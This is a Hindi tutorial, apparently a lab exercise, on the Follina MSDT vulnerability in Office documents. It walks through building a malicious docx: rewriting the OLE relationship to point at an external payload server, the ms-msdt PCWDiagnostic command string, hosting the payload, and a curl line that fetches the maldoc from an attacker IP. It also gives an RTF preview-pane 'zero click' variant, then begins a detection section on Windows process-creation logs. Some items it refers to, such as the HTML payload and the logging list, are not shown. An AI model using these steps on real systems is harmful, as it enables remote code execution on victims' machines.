
CVE-2022-30190 (Follina) के लिए शैक्षिक शोषण, दुर्भावनापूर्ण Office दस्तावेज़ों के माध्यम से MSDT रिमोट कोड निष्पादन का प्रदर्शन, पहचान और शमन मार्गदर्शन के साथ।
Microsoft बताता है कि “जब किसी कॉलिंग एप्लिकेशन जैसे Word के माध्यम से URL प्रोटोकॉल का उपयोग करके MSDT को कॉल किया जाता है, तो एक रिमोट कोड एक्सीक्यूशन भेद्यता उत्पन्न होती है। जो हमलावर इस भेद्यता का सफलतापूर्वक शोषण करता है, वह कॉलिंग एप्लिकेशन के विशेषाधिकारों के साथ मनमाना कोड चला सकता है। इसके बाद हमलावर प्रोग्राम इंस्टॉल कर सकता है, डेटा देख, बदल या हटा सकता है, या उपयोगकर्ता के अधिकारों द्वारा अनुमत संदर्भ में नए खाते बना सकता है”। (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Microsoft कहता है कि “Microsoft Support Diagnostic Tool (MSDT) Microsoft Support को भेजने के लिए जानकारी एकत्र करता है। वे फिर इस जानकारी का विश्लेषण करेंगे और इसका उपयोग आपके कंप्यूटर पर आने वाली किसी भी समस्या का समाधान निर्धारित करने के लिए करेंगे”। इसे ध्यान में रखते हुए, यह अनिवार्य रूप से Microsoft Support के लिए तुरंत यह देखने का एक तरीका है कि क्या गलत है, क्योंकि उन्हें सीधे स्रोत से वह सारी जानकारी मिल रही है जिसकी उन्हें आवश्यकता होती है।
एक्सप्लॉइट की व्याख्या
आइए एक अस्वीकरण के साथ शुरू करें: हमारे उद्देश्यों के लिए, हम अपने पेलोड को एक Word दस्तावेज़ के माध्यम से लोड करेंगे, विशेष रूप से .docx प्रारूप में - यह मूल एक्सप्लॉइट है जो वाइल्ड में खोजा गया था। हालाँकि, यह भेद्यता कई अन्य Office उत्पादों में भी काम करती सिद्ध हुई है।
इस भेद्यता के दो महत्वपूर्ण पहलू हैं: 1 - विशिष्ट docx फ़ाइलों में OLE (मूल रूप से Object Linking and Embedding का संक्षिप्त रूप) ऑब्जेक्ट संदर्भ होते हैं, और कभी-कभी, वे कहीं और होस्ट की गई HTML फ़ाइलों का रूप ले लेते हैं। 2 - MS-MSDT कोड निष्पादन की अनुमति देता है।
उपरोक्त दोनों पहलुओं को मिलाकर, एक MS-MSDT HTML स्कीम का उपयोग PowerShell कोड निष्पादित करने के लिए किया जा सकता है, और एक docx फ़ाइल का उपयोग Word की बाहरी संदर्भ क्षमता के माध्यम से इसे लोड करने के लिए किया जा सकता है।
अधिक विशेष रूप से, docx संरचना में गहराई से जाने पर, "word/_rels/document.xml.rels" फ़ाइल में एक XML टैग होता है जिसका एट्रिब्यूट Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" एक बाहरी oleObject संदर्भ का वर्णन करता है। इस docx सुविधा का शोषण करने के लिए, हम इस टैग की सामग्री को संपादित कर सकते हैं ताकि Target मान को http://<external_payload_server.com>/<payload.html> और TargetMode मान को "External" में बदलकर यह हमारे द्वारा होस्ट किए जा रहे पेलोड की ओर इंगित करे।
word/document.xml फ़ाइल में, एक XML टैग है जो <o:OLEObject...> से शुरू होता है, जिसमें हमें Type मान को "Link" में बदलना चाहिए और फिर की-वैल्यू पेयर एट्रिब्यूट UpdateMode="OnCall" जोड़ना चाहिए।
अब केवल एक ही काम बचा है — उस पेलोड को होस्ट करना जिससे Word फ़ाइल कनेक्ट होगी, और फ़ाइल खोलने पर उससे निर्देश प्राप्त करेगी। यह निम्नलिखित के समान संरचना वाली एक HTML फ़ाइल बनाकर किया जाता है:
उपरोक्त HTML फ़ाइल की सामग्री में, आप ms-msdt:/id PCWDiagnostic /skip force /param कमांड देखेंगे, साथ ही कमांड स्विच भी देखेंगे जिनका उपयोग आप टारगेट मशीन में निष्पादित करने के लिए वांछित कमांड सेट करने हेतु कर सकते हैं। फिर आप अपने उद्देश्यों के अनुसार पेलोड को मिक्स और मैच कर सकते हैं।
इस प्रकार, अब हमारे पास बिना किसी मैक्रो को छुए रिमोट कोड एक्सीक्यूशन प्राप्त करने का एक तरीका है, और जैसा कि हम बाद में देखेंगे, बिना दुर्भावनापूर्ण दस्तावेज़ को खोले भी।
सार्वजनिक रूप से उपलब्ध एक्सप्लॉइट फोकस (https://github.com/JohnHammond/msdt-follina) John Hammond ने एक दुर्भावनापूर्ण दस्तावेज़ (maldoc) बनाने की प्रक्रिया को स्वचालित करने और तदनुसार उस दुर्भावनापूर्ण HTML फ़ाइल को होस्ट करने के लिए एक टूल बनाया है जिसमें बुरा कमांड रहता है। यह टूल ऊपर दिए गए लिंक में प्रलेखित है, और हम पहले छूए गए एक्सप्लॉइट की अवधारणा को और समझने के लिए इसका एक फोर्क्ड संस्करण उपयोग करेंगे।
एक टर्मिनल खोलें, इस रिपॉजिटरी को क्लोन करें और अपनी वर्किंग डायरेक्टरी को उस स्थान पर बदलें जहाँ msdt-follina रिपॉजिटरी क्लोन की गई है। root@host:~/Follina-MSDT# python3 follina.py
एक्सप्लॉइट चालू करने पर, आप पहले से ही फ़ाइल को होस्ट कर रहे होंगे, इसलिए यह पीड़ित मशीन तक “पहुँचाने” के लिए तैयार है। मूल टर्मिनल को खुला रखते हुए, एक और टर्मिनल खोलें और फ़ाइलों को एक सर्वर पर होस्ट करने के लिए निम्न कमांड दर्ज करें: root@host:~/Follina-MSDT# python -m http.server 3456
टारगेट मशीन पर, कमांड प्रॉम्प्ट खोलें और निम्न कमांड दर्ज करें: C:\Users\user> cd Desktop C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx
यह हमारी मशीन में मैलडॉक डाउनलोड करता है और इस प्रकार, थोड़ी ही देर बाद, आपको डेस्कटॉप पर follina.docx नामक Word फ़ाइल दिखाई देनी चाहिए, जो चलाने के लिए तैयार है। जब आप तैयार हों, तो फ़ाइल खोलें और देखें कि क्या होता है। अभी के लिए, मैलडॉक और उसके द्वारा उत्पन्न सभी चीज़ों को चालू रहने दें।
"ज़ीरो क्लिक" कार्यान्वयन
इस भेद्यता के “ज़ीरो क्लिक” कार्यान्वयन की नकल करने के लिए, हम केवल दुर्भावनापूर्ण Word फ़ाइल पर जाते हैं, एक प्यारा सा संदेश जोड़ते हैं (पूरी तरह से वैकल्पिक), इसे रिच टेक्स्ट फॉर्मेट (RTF) में सहेजते हैं, और हम तैयार हैं। यह कार्यान्वयन मानता है कि पीड़ित मशीन प्रीव्यू पेन व्यू में है, अन्यथा यह मूल कार्यक्षमता पर वापस आ जाएगा जो फ़ाइल खोलने पर भी चलेगा।
फ़ाइल एक्सप्लोरर खोलें और डेस्कटॉप फ़ोल्डर पर जाएँ। वहाँ आपको वह प्रतीत होने वाली भोली फ़ाइल दिखाई देगी जो हमने बनाई है और जिसे क्लिक करने की आवश्यकता है। इसे एक बार क्लिक करें, सावधान रहें कि इसे वास्तव में न खोलें, और देखें कि क्या होता है।
फ़ाइल को वास्तव में खोले बिना भी, एक्सप्लॉइट उसी तरह चला जैसा वह इस अभ्यास में पहले चला था। यह दो प्रमुख विशेषताओं के कारण हुआ: 1 - फ़ाइल एक्सप्लोरर की फ़ाइलों को खोलने से पहले उनका प्रीव्यू दिखाने की विशेषता। 2 - RTF जो दस्तावेज़ फ़ाइलों को खोले जाने से पहले फ़ाइल एक्सप्लोरर में प्रीव्यू किए जाने की सुविधा देता है (अन्य उद्देश्यों के अलावा)।
दोनों को मिलाकर और फिर उनका दुरुपयोग करने पर एक अटैक वेक्टर उत्पन्न होता है जिसे हमने अभी देखा है।
पहचान और शमन थ्रेट हंटिंग:
भेद्यता के शोषण का अध्ययन करने के लिए हमने जिस Windows मशीन का उपयोग किया है, उसमें पहले से ही निम्न के लिए लॉगिंग सक्षम कॉन्फ़िगर की गई है:
ये ऑडिटिंग तंत्र डिफ़ॉल्ट रूप से कॉन्फ़िगर नहीं होते हैं, और इसलिए यह अनिवार्य है कि इन्हें आपके अपने वातावरण में चालू किया जाए ताकि संदिग्ध व्यवहार की पहचान में सहायता मिले, और फोरेंसिक परीक्षकों के लिए मूल्यवान डेटा उपलब्ध रखने में मदद मिले।
पिछली प्रक्रिया के दौरान, हमने भेद्यता के शोषण पर कई दिलचस्प प्रोसेस क्रिएशन की पहचान की है। ये प्रोसेस क्रिएशन Windows Security Logs में लॉग होते हैं, जो आपके पसंदीदा व्यूअर के माध्यम से विश्लेषण के लिए तैयार रहते हैं, या बाद में प्रोसेस करने तथा आगे उपयोग करने के लिए एक केंद्रीकृत लॉग कलेक्टर को अग्रेषित किए जा सकते हैं।
इस कार्य के लिए हम Nirsoft द्वारा निर्मित Event Log Viewer for Windows का उपयोग करेंगे ताकि पहले पहचाने गए प्रोसेस क्रिएशन की जाँच कर सकें। फिर हम इन प्रोसेस क्रिएशन के भीतर उन विवरणों को खोजेंगे जिनका उपयोग हम अन्य इवेंट लॉग में सुराग खोजने के लिए कर सकते हैं, ताकि पर्दे के पीछे क्या हुआ, इसे बेहतर ढंग से समझाया जा सके।
FullEventLogView खोलें। View > Use Quick Filter पर जाएँ। लॉग के ऊपर एक सर्च बार दिखाई देना चाहिए जो हमें त्वरित खोज करने की अनुमति देगा। चूँकि हम अपने प्रोसेस क्रिएशन का विवरण जाँचना चाहते थे, हम सबसे बाएँ ड्रॉप-डाउन मेनू पर क्लिक कर सकते हैं और Find Event ID (space/comma...) चुन सकते हैं, फिर दिए गए सर्च बार में 4688 टाइप करें।
स्क्रीन पर Process Creation इवेंट्स भर जाने चाहिए और आप तुरंत देखेंगे कि मशीन के साथ न्यूनतम इंटरैक्शन के बावजूद, उनमें से बहुत सारे हैं।
पहला आर्टिफैक्ट जिसे हम जाँचेंगे वह winword.exe है — इस प्रोसेस से इवेंट्स के प्रवाह को समझना हमें यह अंदाज़ा देता है कि सामान्य रूप से एक Office प्रक्रिया, msdt शोषण के संदर्भ में कैसे व्यवहार करेगी। Find फ़ंक्शन लाने के लिए Ctrl+F दबाएँ और winword टाइप करें।